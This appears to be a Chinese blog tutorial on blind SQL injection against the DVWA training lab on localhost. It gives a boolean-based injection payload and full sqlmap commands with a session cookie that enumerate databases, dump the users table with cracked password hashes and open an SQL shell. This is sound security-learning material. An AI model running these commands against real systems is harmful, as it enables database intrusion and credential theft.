• Web安全测试学习笔记-DVWA-盲注(使用sqlmap)


    之前的sql注入页面(https://www.cnblogs.com/sallyzhang/p/11843291.html),返回了查询结果和错误信息。而下面的页面,返回信息只有存在和不存在两种情况,错误信息页面也被屏蔽了,这种情况下我们能得到的信息很少,且需要自己判断注入是否成功,所以叫盲注(名字很形象啊~)

         

    盲注的注入方法,简单来说就一个字:猜 ...>_<.... 怎么猜呢?用猜数据库名称长度来举个栗子:

    输入:1' and length(database()) = 1 #

    输出:User ID is MISSING from the database

    根据输出,数据库名长度不为1,然后再猜测2,3,4。。。直到猜对为止,然后再来猜数据库名称的第一个字母,第二个字母。。。直到猜到数据库名称

    Hmmm...这样猜来猜去很费时间啊,这种事情是不是可以自动化一下,我都能想到,大神们早就想到了,就是这个工具:sqlmap

    1. sqlmap介绍

    这个工具是开源的,官网和github都可以下载。在使用之前,需要先安装python环境。以下是sqlmap的自我介绍

    2. sqlmap启动测试

    打开命令行工具,进入sqlmap解压后所在的文件夹,我的路径是E:...sqlmap,输入python sqlmap.py,看到如下信息说明sqlmap已经可以正常使用

    3. 用sqlmap获取所有数据库名称

    用F12看了下当前页面,这个页面是需要登录凭证的,所以使用sqlmap时也要带上登录凭证

     输入:python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=fubq54c0e9coj528t33l81jk4f; security=low" --batch --dbs

    输出:sqlmap拿到了所有数据库名称

    4. 用sqlmap获取当前数据库名称

    输入:python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=fubq54c0e9coj528t33l81jk4f; security=low" --batch --current-db

    输出:当前数据库名称为dvwa

     5. 用sqlmap获取当前数据库中的所有表名

    输入:python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=fubq54c0e9coj528t33l81jk4f; security=low" --batch -D dvwa --tables

    输出:表名为guestbook和users

    6. 用sqlmap获取users表中的所有数据

    输入:python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=fubq54c0e9coj528t33l81jk4f; security=low" --batch -D dvwa -T users  --dump

    输出:拿到表中所有数据, 还把密码给破解了。。。不要太贴心啊~

    Mysql的默认密码加密方式其实就是SHA1,如果你密码不幸忘了,网上有在线解密网站 >_< 

     7. 运行sql语句

    如果还想查看数据库中其他表的数据,sqlmap还支持运行自定义sql语句(只支持查询语句)

    输入:python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=5dge4nuta0ongp0luebulu4jd6; security=low" --sql-shell

    直接输入sql查询语句:

     

    一点点感悟:

    1. 敏感信息不要用太简单的加密算法,很容易被破解。。。

    2. 用cookie存储登录凭证有风险,或者说会增加风险

    如需转载,请注明出处,这是对他人劳动成果的尊重~

  • 相关阅读:
    有关vue中组件间的传值问题
    有关vue中同一个组件配置不同的路由产生的系列
    有关vue中用element ui 中的from表单提交json格式总是有冒号的问题解决办法
    有关element ui 中的switch在表格多列显示中全部为关闭或开启
    有关element ui中的 switch在表格中使用多个时互相不收影响的问题
    【PostgreSQL-9.6.3】修改监听的IP和端口
    【Oracle】truncate分区表
    【Oracle】append
    【PostgreSQL-9.6.3】函数(3)--日期和时间函数
    【PostgreSQL-9.6.3】函数(2)--字符型函数
  • 原文地址:https://www.cnblogs.com/sallyzhang/p/11850701.html
Copyright © 2020-2023  润新知